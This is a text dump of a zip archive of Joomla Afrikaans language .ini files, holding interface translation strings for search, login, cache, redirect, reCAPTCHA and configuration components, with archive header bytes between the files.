COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Beskrywing" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Naam" COM_SEARCH_FIELD_LABEL="Soek Term" COM_SEARCH_FOR_DESC="Die tipe van soek" COM_SEARCH_ALPHABETICAL="Alfabeties" COM_SEARCH_EXACT_PHRASE="Presiese frase" COM_SEARCH_FIELD_DESC="Woord, woorde of frase om voor te soek" COM_SEARCH_FOR_LABEL="Soek na" COM_SEARCH_MOST_POPULAR="Populariteit" COM_SEARCH_NEWEST_FIRST="Nuutste Eerste" COM_SEARCH_OLDEST_FIRST="Oudste Eerste" COM_SEARCH_ORDERING_LABEL="Uitslag Ranskikking" COM_SEARCH_ORDERING_DESC="Defineer volgens watter volgorde uitslae rankskik sal work" COM_SEARCH_SAVED_SEARCH_OPTIONS="Soek opsies gestoor" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESC="Beskrywing om te vertoon vir hierdie werf as 'n soektog-verskaffer." COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_DESC="Beskrywing om te vertoon vir hierdie werf as 'n soektog-verskaffer." COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_DESC="Staaf die soektog-frases wat deur besoekers bygedra is." COM_SEARCH_FIELDSET_OPTIONAL_LABEL="Optionele Soektog Terme" PK@y>\+?ZZ'language/af-ZA/af-ZA.mod_logged.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_logged.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_LOGGED_LAYOUT_DEFAULT="Verstek" MOD_LOGGED="Ingetekende gebruikers" MOD_LOGGED_XML_DESCRIPTION="Hierdie Module vertoon 'n lys van die tans-ingetekende Gebruikers" PK@y>\B s"language/af-ZA/af-ZA.com_login.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_login.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_LOGIN_JOOMLA_ADMINISTRATION_LOGIN="Joomla! Administrasie Inteken" COM_LOGIN="Inteken" COM_LOGIN_RETURN_TO_SITE_HOME_PAGE="Gaan na werf se tuidblad." COM_LOGIN_VALID="Gebruik 'n geldige gebruikernaam en wagwoord om toegang tot die administrateur agterend te verkry." COM_LOGIN_XML_DESCRIPTION="Hierdie komponent laat gebruikers by die werf inteken." PK@y>\ow[[(language/af-ZA/af-ZA.plg_user_joomla.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_user_joomla.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_USER_JOOMLA="Hanteer Joomla! se verstek Gebruiker sinchronisasie" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL="Outo-skep Gebruikers" PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT="Nuwe Gebruiker Gegewens" PLG_USER_JOOMLA_XML_DESCRIPTION="Hanteer Joomla! se verstek Gebruiker sinkronisasie" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC="Skep Geregistreerde Gebruikers outomaties, waar moontlik" PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY="Hallo %s,\n\n\nJy is as 'n Gebruiker by %s deur 'n Administrateur bygevoeg.\n\nHierdie e-pos bevat jou gebruikernaam en wagwoord om na %s mee in te teken.\n\nGebruikernaam: %s\nWagwoord: %s\n\n\nAsseblief moenie op hierdie boodskap reageer nie, omdat dit outomaties vir inligtings-doeleindes gegenereer is." PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL="Kennisgewing E-Pos aan Gebruiker" PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC="Wanneer 'n administrateur 'n gebruikerrekening skep, sal hierdie bepaal of 'n e-pos wat die gebruikernaam en wagwoord bevat, aan die gebruiker gestuur sal word." PK@y>\U`!!+language/af-ZA/af-ZA.plg_content_joomla.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_joomla.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_JOOMLA="Inhoud - Joomla!" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Doen kategorie verwerking vir kern ekstensies; stuur 'n epos wanneer 'n nuwe artikel in die frontent bygedra is." PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL="Toets kategorie skraping" PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL="E-pos op nuwe werf artikel" PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC="E-pos gebruikers wanneer 'Stuur e-pos' aangeskakel is wanneer daar 'n nuwe artikel via die frontend werf bygedra is." PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC="Toets dat kategorië heeltemal leeg is voordat hulle geskrap word." PK@y>\(  "language/af-ZA/af-ZA.com_cache.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_cache.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op : Alle ini lêërs moet as UTF-8 gestoor word COM_CACHE_BACK_CACHE_MANAGER="Terug na Kas Bestuurder" COM_CACHE="Kas Bestuurder" COM_CACHE_CLEAR_CACHE_ADMIN="Herstel Kas Admin" COM_CACHE_CLEAR_CACHE="Webwerf Onderhoud: Herstel Kas" COM_CACHE_CONFIGURATION="Kas Bestuurder Instellings" COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED="Verstreke items is gepurgeer." COM_CACHE_GROUP="Kas Group" COM_CACHE_MANAGER="Kas Bestuurder" COM_CACHE_NUMBER_OF_FILES="Aantal Lêers" COM_CACHE_PURGE_CACHE_ADMIN="Purgeer Kas Admin" COM_CACHE_PURGE_EXPIRED_CACHE="Webwerf Onderhoud: Purgeer Verstreke Kas" COM_CACHE_PURGE_EXPIRED_ITEMS="Purgeer verstreke items" COM_CACHE_PURGE_EXPIRED="Purgeer verstreke" COM_CACHE_SIZE="Grootte" COM_CACHE_NUM="#" COM_CACHE_RESOURCE_INTENSIVE_WARNING="WAARSKUWING: Hierdie kan baie bron-intensief op werwe wees met 'n groot aantal items!" COM_CACHE_PURGE_INSTRUCTIONS="Kliek on die Purgeer Verstrykte ikoon in die nutsbalk to skrap alle verstrykte kas-lêers. Let op: Kas-lêers wat nog steeds aktueel is sal nie geskrap word nie." JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie komponent toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die globale konfigurasie en die Ouer groep gebruik sal word.
              Gewyer beteken dat ongeag van die globale konfigurasie of Ouer groep instellings, die groep wat geredigeer word nie hierdie aksie op die komponent kan toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie komponent sal toepas (maar as dit in konflik met die globale konfigurasie of Ouer groep is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_CACHE_SELECT_CLIENT="- Kies Lokasie -" COM_CACHE_XML_DESCRIPTION="Komponent vir kas bestuur" PK@y>\}XA(language/af-ZA/af-ZA.mod_popular.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_popular.sys.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_POPULAR_LAYOUT_DEFAULT="Verstek" MOD_POPULAR="Populêre Artikels" MOD_POPULAR_XML_DESCRIPTION="Hierdie Module vertoon 'n lys van die tans-gepubliseerde Artikels met die hoogste aantal trefslae." PK@y>\ll'language/af-ZA/af-ZA.mod_custom.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_custom.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_CUSTOM="Pasgemaakte HTML" MOD_CUSTOM_LAYOUT_DEFAULT="Verstek" MOD_CUSTOM_XML_DESCRIPTION="Hierdie Module laat jou toe on jou eie HTML Module m.b.v. 'n WYSIWYG redigeerder te maak." PK@y>\E,language/af-ZA/af-ZA.mod_multilangstatus.ininuW+A; $Id: af-ZA.mod_multilangstatus.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multi-taal status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="Hierdie module vertoon die multi-taal parameters se status." PK@y>\v&language/af-ZA/af-ZA.mod_quickicon.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_quickicon.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_QUICKICON="mod_quickicon" MOD_QUICKICON_ARTICLE_MANAGER="Artikel Bestuurder" MOD_QUICKICON_CATEGORY_MANAGER="Kategorie Bestuurder" MOD_QUICKICON_EXTENSION_MANAGER="Ekstensie Bestuurder" MOD_QUICKICON_GLOBAL_CONFIGURATION="Globale Konfigurasie" MOD_QUICKICON_LANGUAGE_MANAGER="Taal Bestuurder" MOD_QUICKICON_MEDIA_MANAGER="Media Bestuurder" MOD_QUICKICON_MENU_MANAGER="Menu Bestuurder" MOD_QUICKICON_MODULE_MANAGER="Module Bestuurder" MOD_QUICKICON_PROFILE="Redigeer profiel" MOD_QUICKICON_USER_MANAGER="Gebruiker Bestuurder" MOD_QUICKICON_ADD_NEW_ARTICLE="Voeg Nuwe Artikel" MOD_QUICKICON_ADD_NEW_ARTICLE="Voeg Nuwe Artikel" MOD_QUICKICON_TEMPLATE_MANAGER="Templet Bestuurder" MOD_QUICKICON_FRONTPAGE_MANAGER="Voorblad Bestuurder" MOD_QUICKICON_TITLE="Quick Icons" MOD_QUICKICON_GROUP_LABEL="Groep" MOD_QUICKICON_XML_DESCRIPTION="Hierdie module vertoon Quick-Ikone wat van die Beheer Paneel sigbaar is (admin area tuisblad)" MOD_QUICKICON_GROUP_DESC="Die groep waaraan hierdie module behoort. Die 'mod_quickicon' groep vertoon altyd die Joomla! kern-ikone." PK@y>\W6language/af-ZA/af-ZA.plg_authentication_joomla.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_authentication_joomla.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_AUTHENTICATION_JOOMLA="Stawing - Joomla!" PLG_AUTH_JOOMLA_XML_DESCRIPTION="Hanteer Joomla! se verstek gebruiker-stawing
              Waakskuwing Jy moet ten minste een stawing inprop-program ontsper, anders verloor jy alle toegang na jou werf." PK@y>\=`,language/af-ZA/af-ZA.plg_search_weblinks.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_search_weblinks.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_WEBLINKS_WEBLINKS="Webskakels" PLG_SEARCH_WEBLINKS="Deursoek Webskakels" PLG_SEARCH_WEBLINKS="Soektog - Webskakels" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_LABEL="Soek-Limiet" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Ontsper deursoek van Webskakels Komponent" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_DESC="Aantal soektog items om te vertoon" PK@y>\Hsqq%language/af-ZA/af-ZA.com_redirect.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_redirect.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_REDIRECT_FIELD_OLD_URL_LABEL="Bron URL" COM_REDIRECT_DETAILS="Details" COM_REDIRECT_NEW_LINK="Nuwe Skakel" COM_REDIRECT_HEADING_CREATED_DATE="Skeppings-Datum" COM_REDIRECT_N_ITEMS_ARCHIVED_1="Skakel suksesvol geargiveer" COM_REDIRECT_N_ITEMS_TRASHED="%d skakels suksesvol gepurgeer" COM_REDIRECT_N_ITEMS_ARCHIVED="%d skakels suksesvol geargiveer" COM_REDIRECT_N_ITEMS_PUBLISHED_1="Skakel suksesvol gepubliseer" COM_REDIRECT_OPTIONS="Opsies" COM_REDIRECT="Herlei" COM_REDIRECT_N_ITEMS_UNPUBLISHED_1="Skakel suksesvol ontpubliseer" COM_REDIRECT_ENABLE_LINK="Ontsper Skakel" COM_REDIRECT_HEADING_OLD_URL="Verstreke URL" COM_REDIRECT_HEADING_REFERRER="Verwysende Bladsy" COM_REDIRECT_N_LINKS_UPDATED="%d skakels opdateer." COM_REDIRECT_HEADING_NEW_URL="Nuwe URL" COM_REDIRECT_DISABLE_LINK="Sper Skakel" COM_REDIRECT_REDIRECTED_ON="Herlei op: %s." COM_REDIRECT_CONFIGURATION="Herlei Bestuurder Opsies" COM_REDIRECT_N_ITEMS_DELETED_1="Skakel suksesvol geskrap" COM_REDIRECT_HEADING_NEW_URL="Nuwe URL" COM_REDIRECT_REDIRECTED_ON="Herlei op: %s." COM_REDIRECT_BUTTON_UPDATE_LINKS="Opdateer van Skakels" COM_REDIRECT_FIELD_REFERRER_LABEL="Skakel Verwyser" COM_REDIRECT_NO_ITEM_SELECTED="Geen skakels gekies nie" COM_REDIRECT_SAVE_SUCCESS="Skakel suksesvol gestoor" COM_REDIRECT_SEARCH_LINKS="Soektog in skakel velde." COM_REDIRECT_DISABLE_LINK="Sper Skakel" COM_REDIRECT_FIELD_CREATED_DATE_LABEL="Skeppings-Datum" COM_REDIRECT_FIELD_UPDATED_DATE_LABEL="Laas-Opdateerde Datum" COM_REDIRECT_N_LINKS_UPDATED_1="Een skakel is opdateer" COM_REDIRECT_EDIT_LINK="Redigeer Skakel #%d" COM_REDIRECT_FIELD_COMMENT_LABEL="Kommentaar" COM_REDIRECT_N_ITEMS_PUBLISHED="%d skakels suksesvol gepubliseer" COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED="Die herleiding moet 'n bron URL hê" COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED="Die herleiding moet 'n eindpunt URL hê" COM_REDIRECT_MANAGER_LINK="Herlei Bestuurder: Skakel" COM_REDIRECT_ERROR_DUPLICATE_OLD_URL="Die bron URL moet unieke wees." COM_REDIRECT_PLUGIN_ENABLED="Die Herlei Inprop-Program is ontsper." COM_REDIRECT_MANAGER_LINKS="Herlei Bestuurder: Skakels" COM_REDIRECT_N_ITEMS_DELETED="%d skakels suksesvol geskrap" COM_REDIRECT_N_ITEMS_TRASHED_1="Skakel suksesvol gepurgeer" COM_REDIRECT_FIELD_NEW_URL_LABEL="Bestemming URL" COM_REDIRECT_N_ITEMS_UNPUBLISHED="%d skakels suksesvol gesper" COM_REDIRECT_FIELD_OLD_URL_DESC="Tik hier die URL in wat herlei moet word." COM_REDIRECT_FIELD_NEW_URL_DESC="Tik die URL hier in om heen herlei te word." COM_REDIRECT_XML_DESCRIPTION="Hierdie komponent implementeer skakel-herleiding" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_REDIRECT_ERROR_DUPLICATE_URLS="Die bron en teiken URL'e kan nie dieselfde wees nie." COM_REDIRECT_FIELD_COMMENT_DESC="Partykeer help dit om die URL te beskryf sodat dit op 'n latere stadium deur die herlei-bestuurder na herlei gestel kan word." COM_REDIRECT_HEADING_UPDATE_LINKS="Opdateer gekose skakels na die volgende nuwe URL" COM_REDIRECT_PLUGIN_DISABLED="Die Herlei Inprop-program is gesper. Ontsper dit in die Inprop-program Bestuurder." COM_REDIRECT_HEADING_HITS="404 Trefslae" PK@y>\6__7language/af-ZA/af-ZA.plg_content_pagenavigation.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_pagenavigation.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_PAGENAVIGATION="Inhoud - Bladsy Navigasie" PLG_PAGENAVIGATION_XML_DESCRIPTION="Voeg die Volgende & Vorige funksie aan 'n Artikel." PK@y>\N.language/af-ZA/af-ZA.plg_captcha_recaptcha.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_captcha_recaptcha.ini 1709 2012-02-05 13:15:54Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_RECAPTCHA_PRIVATE_KEY_LABEL="Private Sleutel" PLG_RECAPTCHA_LANG_LABEL="Taal" ;PLG_RECAPTCHA_PLAY_AGAIN="Speel klank weer" ;PLG_RECAPTCHA_HELP_BTN="Hulp" PLG_RECAPTCHA_ERROR_UNKNOWN="Onbekende fout." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" ;PLG_RECAPTCHA_CANT_HEAR_THIS="Laai klank as MP3 af" ;PLG_RECAPTCHA_CUSTOM_LANG="waar" PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION="Leë antwoord nie toegelaat nie." PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL="Die CAPTCHA antwoord was verkeerd." PLG_RECAPTCHA_ERROR_INVALID_SITE_PRIVATE_KEY="Ons kon nie die private sleutel verifiëer nie." PLG_RECAPTCHA_ERROR_INVALID_SITE_PUBLIC_KEY="Ons kon nie die publieke sleutel verifiëer nie." PLG_RECAPTCHA_ERROR_NO_IP="Sekuriteits-onthalwe, moet jy jou IP-adres aan die reCAPTCHA-funksie verskaf" PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY="ReCaptcha inprop-program benodig 'n private sleutel in sy parameters. Tree asseblief in verbinding met 'n werf-administrateur." PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY="ReCaptcha inprop-program benodig 'n publieke sleutel in sy parameters. Tree asseblief in verbinding met 'n werf-administrateur." ;PLG_RECAPTCHA_INSTRUCTIONS_AUDIO="Tik wat jy hoor:" ;PLG_RECAPTCHA_INSTRUCTIONS_VISUAL="Tik die twee woorde:" PLG_RECAPTCHA_PUBLIC_KEY_LABEL="Publieke Sleutel" PLG_RECAPTCHA_THEME_BLACKGLASS="BlackGlass" PLG_RECAPTCHA_THEME_CLEAN="Clean" ;PLG_RECAPTCHA_REFRESH_BTN="Kry 'n nuwe Uitdaging" PLG_RECAPTCHA_THEME_LABEL="Tema" PLG_RECAPTCHA_THEME_RED="Rooi" PLG_RECAPTCHA_THEME_WHITE="Wit" ;PLG_RECAPTCHA_VISUAL_CHALLENGE="Kry 'n visuele Uitdaging" PLG_RECAPTCHA_THEME_DESC="Defineer die tema om met reCAPTCHA te gebruik." ;PLG_RECAPTCHA_INCORRECT_TRY_AGAIN="Verkeerd. Probeer weer." PLG_RECAPTCHA_PUBLIC_KEY_DESC="Word in die JavaScript-kode gebruik wat aan jou gebruikers bedien word. Sien die inprop-program beskrywing vir 'n handleiding hoe om 'n publieke sleutel te verkry." PLG_RECAPTCHA_LANG_DESC="Kies die taal vir die reCAPTCHA. Indien verstek gestel is en die taal-lêer het 'n pasgemaak vertaling, sal dit gebruik word." PLG_RECAPTCHA_ERROR_VERIFY_PARAMS_INCORRECT="Die parameters om teverifiëer was foutief, maak seeker dat jy alle benodigde parameters aangee." PLG_RECAPTCHA_ERROR_RECAPTCHA_NOT_REACHABLE="Kon nie in kontak met die reCAPTCHA verifiëer bediener kom nie." PLG_RECAPTCHA_ERROR_INVALID_REQUEST_COOKIE="Die uitdagings-parameter van die verifikasie-slrip was foutief." PLG_RECAPTCHA_ERROR_INVALID_REFERRER="reCAPTCHA API sleutels is aan 'n spesifieke domain verbonde vir sekuriteitsredes." ;PLG_RECAPTCHA_AUDIO_CHALLENGE="Kry 'n oudio-uitdaging" PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="Hierdie CAPTCHA inprop-program gebruik die reCAPTCH diens wat spammers verhoed, terwyl dit help met digitiseering van boeks, koerante en ou radiouitsendings. Om 'n publiele en private sleutel vir jou domain te kry, gaan na http://google.com/recaptcha. Vir nuwe rekening registrasie, go na Opsies in die Gebruiker Bestuurder en Kies Captcha – reCaptcha as die Captcha." PLG_RECAPTCHA_PRIVATE_KEY_DESC="Word op die kommunikasie-vlak tussen jou bediener en die ReCaptcha bediener gebruik. Maak seker dat dit 'n geheim is. Sien die inprop-program beskrywing vir 'n handleiding hoe om 'n private sleutel te verkry." PK@y>\@4language/af-ZA/af-ZA.plg_editors-xtd_article.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors-xtd_article.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS-XTD_ARTICLE="Knoppie - Artikel" PLG_ARTICLE_XML_DESCRIPTION="Hierdie verskaf 'n knoppie waarmee skakel na ander artikels in 'n artikel gevoeg kan word. Die artikels in 'n opspringvenster gekies word." PK@y>\ o.language/af-ZA/af-ZA.plg_system_logout.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_logout.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_LOGOUT="Stelsel - Afteken" PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="Die stelsel uitlog inprop-program maak dat Joomla! die gebruiker na die tuistbladsy heen herlei, indien die gebruiker uitlog terwyl hy op 'n beskermde toegangs-bladsy is." PK@y>\ˤ*language/af-ZA/af-ZA.com_templates.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_templates.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_TEMPLATES="Templet Bestuurder" COM_TEMPLATES_XML_DESCRIPTION="Hierdie komponent bestuur templette" PK@y>\46F~N~N#language/af-ZA/af-ZA.com_config.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_config.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CONFIG_FIELD_VALUE_PHP_MAIL="PHP Mail" COM_CONFIG_FIELD_VALUE_SITE_EMAIL="Webwerf E-pos" COM_CONFIG_FIELD_VALUE_SMTP="SMTP" COM_CONFIG_FIELD_VALUE_SSL="SSL" COM_CONFIG_FIELD_VALUE_TLS="TTL" COM_CONFIG_FIELD_SITE_NAME_LABEL="Webwerf Naam" COM_CONFIG_FIELD_VALUE_AUTHOR_EMAIL="Outeur E-pos" COM_CONFIG_FIELD_UNICODESLUGS_DESC="Kies tussen transliterasie en unicode aliase. Transliterasie is die verstek." COM_CONFIG_FIELD_UNICODESLUGS_LABEL="Unicode Aliase" COM_CONFIG_FIELD_VALUE_ADMINISTRATOR_ONLY="Administrateur Alleenlik" COM_CONFIG_FIELD_TEMP_PATH_DESC="Kies asseblief 'n skryfbare Tydelike folder." COM_CONFIG_FIELD_TEMP_PATH_LABEL="Gidspad na Tydelike Vouer" COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_LABEL="SMTP Gebruikername" COM_CONFIG_FIELD_MAIL_SMTP_PORT_LABEL="SMTP Poort" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_LABEL="SMTP Wagwoord" COM_CONFIG_FIELD_SITE_OFFLINE_LABEL="Webwerf van lyn af" COM_CONFIG_FIELD_VALUE_ENTIRE_SITE="Gehele Webwerf" COM_CONFIG_FTP_DETAILS="FTP Inteken Details" COM_CONFIG_SAVE_SUCCESS="Konfigurasie suksesvol gestoor." COM_CONFIG_SESSION_SETTINGS="Sessie Instellings" COM_CONFIG_SITE_SETTINGS="Webwerf Instellings" COM_CONFIG_XML_DESCRIPTION="Konfigurasie Bestuurder" COM_CONFIG_MAIL_SETTINGS="E-pos Instellings" COM_CONFIG_METADATA_SETTINGS="Metadata Instellings" COM_CONFIG_CACHE_SETTINGS="Kas Instellings" COM_CONFIG_COMPONENT_FIELDSET_LABEL="Komponent" COM_CONFIG_COOKIE_SETTINGS="Koekie Instellings" 